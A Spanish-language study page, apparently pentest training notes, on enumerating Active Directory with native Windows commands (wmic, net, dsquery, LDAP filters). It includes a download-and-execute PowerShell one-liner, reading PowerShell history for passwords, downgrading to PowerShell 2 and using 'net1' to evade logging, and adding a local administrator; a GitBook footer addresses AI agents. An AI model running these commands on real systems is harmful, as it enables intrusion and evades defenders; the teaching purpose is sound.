> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/active-directory/living-of-the-land.md).

# Living of the land

Supongamos que nuestro cliente nos ha pedido evaluar su entorno de Active Directory (AD) desde un equipo administrado sin acceso a Internet, y que todos los intentos de instalarle herramientas han fracasado. Nuestro cliente quiere ver qué tipos de enumeración son posibles, por lo que tendremos que recurrir a la técnica de "vivir de la tierra" (*Living off the Land*) o utilizar únicamente los comandos y herramientas nativas de Windows y Active Directory.

Este enfoque también suele ser más sigiloso y es posible que no genere tantas alertas ni entradas en los registros (*logs*) en comparación con la introducción de herramientas externas a la red, como vimos en secciones anteriores. Hoy en día, la mayoría de los entornos empresariales cuentan con algún tipo de monitoreo y registro de red, lo que incluye IDS/IPS, *firewalls*, sensores pasivos y otras herramientas que se suman a sus defensas a nivel de equipo, como Windows Defender o sistemas EDR corporativos.

Dependiendo del entorno, también podrían contar con herramientas que establecen una línea base de lo que es un tráfico de red "normal" para buscar anomalías. Por todo esto, nuestras probabilidades de ser detectados aumentan exponencialmente cuando empezamos a introducir herramientas al entorno desde el exterior.

## Comandos Env para reconocimiento de host y red

#### Enumeración basica

| **Command**                                             | **Result**                                                                                 |
| ------------------------------------------------------- | ------------------------------------------------------------------------------------------ |
| `hostname`                                              | Prints the PC's Name                                                                       |
| `[System.Environment]::OSVersion.Version`               | Prints out the OS version and revision level                                               |
| `wmic qfe get Caption,Description,HotFixID,InstalledOn` | Prints the patches and hotfixes applied to the host                                        |
| `ipconfig /all`                                         | Prints out network adapter state and configurations                                        |
| `set`                                                   | Displays a list of environment variables for the current session (ran from CMD-prompt)     |
| `echo %USERDOMAIN%`                                     | Displays the domain name to which the host belongs (ran from CMD-prompt)                   |
| `echo %logonserver%`                                    | Prints out the name of the Domain controller the host checks in with (ran from CMD-prompt) |

Los comandos anteriores nos darán una visión inicial rápida del estado del host, así como información básica de red y dominio. Podemos abarcar toda esta información con un solo comando: systeminfo.

El comando systeminfo, como se muestra arriba, imprimirá un resumen de la información del host en una salida ordenada. Al ejecutar un solo comando, se generarán menos registros, lo que reducirá la probabilidad de que un defensor nos detecte en el host.

## Powershell

| **Cmd-Let**                                                                                                                | **Description**                                                                                                                                                                                                                               |
| -------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Get-Module`                                                                                                               | Lists available modules loaded for use.                                                                                                                                                                                                       |
| `Get-ExecutionPolicy -List`                                                                                                | Will print the [execution policy](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.2) settings for each scope on a host.                                         |
| `Set-ExecutionPolicy Bypass -Scope Process`                                                                                | This will change the policy for our current process using the `-Scope` parameter. Doing so will revert the policy once we vacate the process or terminate it. This is ideal because we won't be making a permanent change to the victim host. |
| `Get-ChildItem Env: \| ft Key,Value`                                                                                       | Return environment values such as key paths, users, computer information, etc.                                                                                                                                                                |
| `Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt`                                 | With this string, we can get the specified user's PowerShell history. This can be quite helpful as the command history may contain passwords or point us towards configuration files or scripts that contain passwords.                       |
| `powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL to download the file from'); <follow-on commands>"` | This is a quick and easy way to download a file from the web using PowerShell and call it from memory.                                                                                                                                        |

Muchos defensores desconocen que a menudo existen varias versiones de PowerShell en un host. Si no se desinstalan, aún pueden utilizarse. El registro de eventos de PowerShell se introdujo como una característica a partir de la versión 3.0. Teniendo esto en cuenta, podemos intentar llamar a la versión 2.0 o anterior de PowerShell. Si lo logramos, nuestras acciones desde la consola no se registrarán en el Visor de eventos. Esta es una excelente manera de pasar desapercibidos para los defensores mientras aprovechamos los recursos integrados en los hosts. A continuación, se muestra un ejemplo de cómo degradar PowerShell.

#### Downgrade Powershell

```powershell
Get-host
powershell.exe -version 2
Get-host
get-module
```

A partir de la salida anterior, ahora podemos ver que estamos ejecutando una versión más antigua de PowerShell. Observen la diferencia en la versión reportada; esto confirma que hemos bajado la versión del entorno (*downgrade* del *shell*) de manera exitosa.

Comprobemos si todavía se están registrando *logs*. El lugar principal para revisar es el registro operativo de PowerShell (PowerShell Operational Log), que se encuentra en Registros de aplicaciones y servicios > Microsoft > Windows > PowerShell > Operational. Todos los comandos ejecutados en nuestra sesión quedarán registrados en este archivo. El registro general de Windows PowerShell, ubicado en Registros de aplicaciones y servicios > Windows PowerShell, también es un buen lugar para revisar; allí se genera una entrada cada vez que iniciamos una instancia de PowerShell.

En la imagen a continuación, podemos ver las entradas en rojo que la sesión actual de PowerShell generó en el registro, y el detalle de la última entrada realizada a las 2:12 p. m., momento en el que se ejecutó el *downgrade*. Esta fue la última entrada debido a que nuestra sesión pasó a una versión de PowerShell que ya no tiene la capacidad de registrar actividad. Observen que ese evento coincide con el último evento en las entradas del registro de Windows PowerShell.

#### Revisando logs de powershell

<figure><img src="/files/hy3D5kBlQ0rgoeIZeCnv" alt=""><figcaption></figcaption></figure>

Con el registro de bloques de scripts (*Script Block Logging*) habilitado, podemos ver que todo lo que escribimos en la terminal se envía a este registro. Si hacemos un *downgrade* a la versión 2 de PowerShell, esto dejará de funcionar correctamente. A partir de ese momento, nuestras acciones quedarán ocultas, ya que el *Script Block Logging* no funciona en versiones anteriores a PowerShell 3.0.

Observen en los registros de arriba que podemos ver los comandos que ejecutamos durante una sesión normal de la consola, pero el registro se detuvo después de iniciar una nueva instancia de PowerShell en su versión 2. Tengan en cuenta que la acción de ejecutar el comando `powershell.exe -version 2` dentro de la sesión de PowerShell sí quedará registrada.

Por lo tanto, quedará evidencia de que se realizó el *downgrade*, y un defensor perspicaz o vigilante podría iniciar una investigación al notar que esto ha ocurrido y que los registros de esa instancia en particular dejan de llenarse.

Podemos ver un ejemplo de esto en la imagen a continuación. Los elementos dentro del recuadro rojo son las entradas del registro previas al inicio de la nueva instancia, y la información en verde es el texto que indica que se inició una nueva sesión de PowerShell en la versión del host (*HostVersion*) 2.0.

#### Starting V2 Logs

<figure><img src="/files/tvIPt49lVUNeCC7L3tpl" alt=""><figcaption></figcaption></figure>

#### Revision de Firewalls

```powershell
netsh advfirewall show allprofiles
```

#### Revision de windows defender

```powershell
sc query windefend
```

Above, we checked if Defender was running. Below we will check the status and configuration settings with the [Get-MpComputerStatus](https://docs.microsoft.com/en-us/powershell/module/defender/get-mpcomputerstatus?view=windowsserver2022-ps) cmdlet in PowerShell.

```powershell
Get-MpComputerStatus
```

Conocer la versión de nuestras configuraciones de antivirus (AV) y qué opciones están habilitadas o deshabilitadas puede sernos de gran utilidad. Nos permite determinar con qué frecuencia se ejecutan los análisis (*scans*), si las alertas de amenazas bajo demanda están activas, entre otras cosas.

Esta información también es excelente para la elaboración de informes (*reporting*). A menudo, los defensores pueden creer que ciertas configuraciones están habilitadas o que los análisis están programados para ejecutarse en determinados intervalos. Si este no es el caso, estos hallazgos pueden ayudarles a solucionar y remediar dichos problemas.

Al acceder a un servidor por primera vez, es importante verificar que no seas el único usuario conectado. Si comienzas a realizar acciones desde un servidor donde otra persona está conectada, existe la posibilidad de que te detecte. Si se abre una ventana emergente o se cierra la sesión de un usuario, este podría reportar estas acciones o cambiar su contraseña, y podríamos perder nuestro acceso.

#### Usando qwinsta

```powershell
qwinsta
```

Ahora que tenemos una idea clara del estado de nuestro host, podemos enumerar la configuración de red del mismo e identificar cualquier máquina o servicio del dominio que podamos querer modificar a continuación.

#### Informacion de red

| **Networking Commands**              | **Description**                                                                                                  |
| ------------------------------------ | ---------------------------------------------------------------------------------------------------------------- |
| `arp -a`                             | Lists all known hosts stored in the arp table.                                                                   |
| `ipconfig /all`                      | Prints out adapter settings for the host. We can figure out the network segment from here.                       |
| `route print`                        | Displays the routing table (IPv4 & IPv6) identifying known networks and layer three routes shared with the host. |
| `netsh advfirewall show allprofiles` | Displays the status of the host's firewall. We can determine if it is active and filtering traffic.              |

#### Usando arp-a

```powershell
arp -a
```

#### Tabla de rutas

```powershell
route print
```

El uso de `arp -a` y `route print` no solo facilita la enumeración de entornos de Active Directory, sino que también nos ayuda a identificar oportunidades para acceder a diferentes segmentos de red en cualquier entorno. Estos son comandos que deberíamos considerar usar en cada proyecto para ayudar a nuestros clientes a comprender hacia dónde podría dirigirse un atacante tras una intrusión inicial.

## Windows Management Instrumentation (WMI)

El Instrumental de administración de Windows (WMI, por sus siglas en inglés) es un motor de *scripting* ampliamente utilizado dentro de los entornos empresariales de Windows para recopilar información y ejecutar tareas administrativas en equipos locales y remotos.

Para nuestros fines, crearemos un informe mediante WMI sobre los usuarios del dominio, los grupos, los procesos y otra información, tanto desde nuestro equipo como desde otros equipos del dominio.

| **Command**                                                                          | **Description**                                                                                        |
| ------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------ |
| `wmic qfe get Caption,Description,HotFixID,InstalledOn`                              | Prints the patch level and description of the Hotfixes applied                                         |
| `wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List` | Displays basic host information to include any attributes within the list                              |
| `wmic process list /format:list`                                                     | A listing of all processes on host                                                                     |
| `wmic ntdomain list /format:list`                                                    | Displays information about the Domain and Domain Controllers                                           |
| `wmic useraccount list /format:list`                                                 | Displays information about all local accounts and any domain accounts that have logged into the device |
| `wmic group list /format:list`                                                       | Information about all local groups                                                                     |
| `wmic sysaccount list /format:list`                                                  | Dumps information about any system accounts that are being used as service accounts.                   |

A continuación, podemos ver información sobre el dominio y el subdominio, así como el bosque externo con el que nuestro dominio actual mantiene una relación de confianza. Esta guía rápida incluye algunos comandos útiles para consultar información de hosts y dominios mediante wmic.

```powershell
wmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress
```

## Net Commands

Aquí tienes la traducción, adaptada para mantener la precisión técnica y la legibilidad:

Los comandos `net` pueden sernos de gran utilidad cuando intentamos enumerar información del dominio. Estos comandos se pueden utilizar para consultar tanto el equipo local como equipos remotos, de manera muy similar a las capacidades que ofrece WMI. Podemos listar información como la siguiente:

* Usuarios locales y del dominio
* Grupos
* Equipos (*hosts*)
* Usuarios específicos dentro de grupos
* Controladores de dominio
* Requisitos de contraseñas

A continuación, veremos algunos ejemplos. Ten en cuenta que los comandos de `net.exe` suelen estar monitoreados por soluciones EDR y pueden delatar rápidamente nuestra posición si nuestra evaluación requiere de evasión y sigilo.

Algunas organizaciones incluso configuran sus herramientas de monitoreo para que generen alertas si usuarios de determinadas Unidades Organizativas (OU) ejecutan ciertos comandos; por ejemplo, si la cuenta de un asistente de marketing ejecuta comandos como `whoami`, `net localgroup administrators`, entre otros. Esto representaría una clara señal de alerta (*red flag*) para cualquier analista que esté monitoreando la red de forma exhaustiva.

| **Command**                                     | **Description**                                                                                                              |
| ----------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- |
| `net accounts`                                  | Information about password requirements                                                                                      |
| `net accounts /domain`                          | Password and lockout policy                                                                                                  |
| `net group /domain`                             | Information about domain groups                                                                                              |
| `net group "Domain Admins" /domain`             | List users with domain admin privileges                                                                                      |
| `net group "domain computers" /domain`          | List of PCs connected to the domain                                                                                          |
| `net group "Domain Controllers" /domain`        | List PC accounts of domains controllers                                                                                      |
| `net group <domain_group_name> /domain`         | User that belongs to the group                                                                                               |
| `net groups /domain`                            | List of domain groups                                                                                                        |
| `net localgroup`                                | All available groups                                                                                                         |
| `net localgroup administrators /domain`         | List users that belong to the administrators group inside the domain (the group `Domain Admins` is included here by default) |
| `net localgroup Administrators`                 | Information about a group (admins)                                                                                           |
| `net localgroup administrators [username] /add` | Add user to administrators                                                                                                   |
| `net share`                                     | Check current shares                                                                                                         |
| `net user <ACCOUNT_NAME> /domain`               | Get information about a user within the domain                                                                               |
| `net user /domain`                              | List all users of the domain                                                                                                 |
| `net user %username%`                           | Information about the current user                                                                                           |
| `net use x: \computer\share`                    | Mount the share locally                                                                                                      |
| `net view`                                      | Get a list of computers                                                                                                      |
| `net view /all /domain[:domainname]`            | Shares on the domains                                                                                                        |
| `net view \computer /ALL`                       | List shares of a computer                                                                                                    |
| `net view /domain`                              | List of PCs of the domain                                                                                                    |

#### Listando Domain Groups

```powershell
net group /domain
```

#### Trick

Si crees que los defensores de la red están registrando o buscando activamente comandos fuera de lo normal, puedes probar esta solución alternativa para usar comandos de red. Escribir net1 en lugar de net ejecutará las mismas funciones sin la posible activación de la cadena net.

## Dsquery

`dsquery` es una útil herramienta de línea de comandos que sirve para buscar objetos en Active Directory. Las consultas que ejecutamos con ella se pueden replicar fácilmente empleando herramientas como BloodHound y PowerView; sin embargo, tal como comentamos al principio de esta sección, no siempre las tendremos a nuestra disposición. Aun así, es muy probable que los administradores de sistemas (*sysadmins*) del dominio sí estén utilizando esta herramienta en su entorno.

Teniendo esto en cuenta, `dsquery` estará presente en cualquier equipo que tenga instalado el rol de Servicios de dominio de Active Directory (*Active Directory Domain Services*). Además, hoy en día la biblioteca DLL de `dsquery` viene por defecto en todos los sistemas Windows modernos y se puede encontrar en la ruta `C:\Windows\System32\dsquery.dll`.

#### Dsquery DLL

Solo necesitamos privilegios elevados en un host o la capacidad de ejecutar una instancia del Símbolo del sistema o PowerShell desde un contexto de sistema. A continuación, mostraremos la función de búsqueda básica con dsquery y algunos filtros de búsqueda útiles.

Enumeracion de usuarios

```powershell
dsquery user
```

Busqueda de computadoras

```powershell
dsquery computer
```

Enumeracion usando wildcard \*

```powershell
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
```

Por supuesto, podemos combinar dsquery con los filtros de búsqueda LDAP que deseemos. El siguiente código busca usuarios con la bandera PASSWD\_NOTREQD establecida en el atributo userAccountControl.

Usuarios con atributos específicos configurados (PASSWD\_NOTREQD)

```powershell
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl
```

Busqueda de controladores de dominio

```powershell
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName
```

### LDAP Filtering Explained

Notarán en las consultas anteriores que estamos usando cadenas de texto como `userAccountControl:1.2.840.113556.1.4.803:=8192`. Estas cadenas son consultas LDAP comunes que también se pueden utilizar con varias herramientas diferentes, incluyendo AD PowerShell, `ldapsearch` y muchas otras.

Desglosemos esto rápidamente:

* `userAccountControl:1.2.840.113556.1.4.803:` Especifica que estamos buscando los atributos de Control de cuentas de usuario (UAC) para un objeto. Esta parte puede cambiar para incluir tres valores diferentes que explicaremos más adelante al buscar información en AD (también conocidos como Identificadores de Objetos u OIDs).
* `=8192`: Representa la máscara de bits decimal (*decimal bitmask*) que queremos que coincida en esta búsqueda. Este número decimal corresponde a un indicador (*flag*) del atributo UAC que determina si un ajuste específico está activado, como por ejemplo "no se requiere contraseña" (*password is not required*) o "cuenta bloqueada" (*account is locked*).

Estos valores se pueden sumar o combinar para generar múltiples entradas de bits diferentes. A continuación, se presenta una lista rápida de los posibles valores.

### Valores UAC

<figure><img src="/files/9xRjliFZXgqqLeOMslBK" alt=""><figcaption></figcaption></figure>

#### Cadenas de coincidencia OID (*OID match strings*)

Los OID son reglas que se utilizan para buscar coincidencias entre valores de bits y atributos, como vimos anteriormente. Para LDAP y AD, existen tres reglas de coincidencia principales:

* `1.2.840.113556.1.4.803`: Al usar esta regla (como hicimos en el ejemplo anterior), estamos indicando que el valor del bit debe coincidir por completo para cumplir con los requisitos de búsqueda. Es excelente para buscar la coincidencia exacta de un atributo singular (operador *BIT AND*).
* `1.2.840.113556.1.4.804`: Al usar esta regla, indicamos que queremos que nuestros resultados muestren cualquier coincidencia de atributo si *algún* bit de la cadena coincide. Esto es útil en el caso de que un objeto tenga múltiples atributos configurados (operador *BIT OR*).
* `1.2.840.113556.1.4.1941`: Esta regla se utiliza para aplicar filtros basados en el Nombre Distinguido (*Distinguished Name* o DN) de un objeto, y buscará a través de todas las entradas de propiedad y membresía en cadena (*LDAP\_MATCHING\_RULE\_IN\_CHAIN*).

#### Operadores lógicos

Al construir cadenas de búsqueda, podemos utilizar operadores lógicos para combinar valores. Para este propósito se utilizan los operadores `&`, `|` y `!`. Por ejemplo, podemos combinar múltiples criterios de búsqueda con el operador `&` (Y / *AND*) de la siguiente manera:

`(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=64))`

El ejemplo anterior establece como primer criterio que el objeto debe ser un usuario, y lo combina con la búsqueda de un valor de bit UAC de 64 (La contraseña no puede cambiar / *Password Can't Change*). Un usuario que tenga ese atributo configurado coincidirá con el filtro.

Puedes llevar esto aún más lejos y combinar múltiples atributos usando una estructura como `(&(1)(2)(3))`. Los operadores `!` (NO / *NOT*) y `|` (O / *OR*) funcionan de manera similar. Por ejemplo, nuestro filtro anterior puede modificarse de la siguiente forma:

`(&(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=64))`

Esto buscaría cualquier objeto de usuario que NO tenga configurado el atributo de "La contraseña no puede cambiar". Cuando pensamos en usuarios, grupos y otros objetos en AD, nuestra capacidad para buscar utilizando consultas LDAP es bastante extensa.

Se puede lograr mucho con los filtros UAC, los operadores y la coincidencia de atributos con las reglas OID. Por ahora, esta explicación general debería ser suficiente para cubrir este módulo. Para obtener más información y profundizar en el uso de este tipo de búsqueda por filtros, consulta el módulo de *Active Directory LDAP*.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/active-directory/living-of-the-land.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
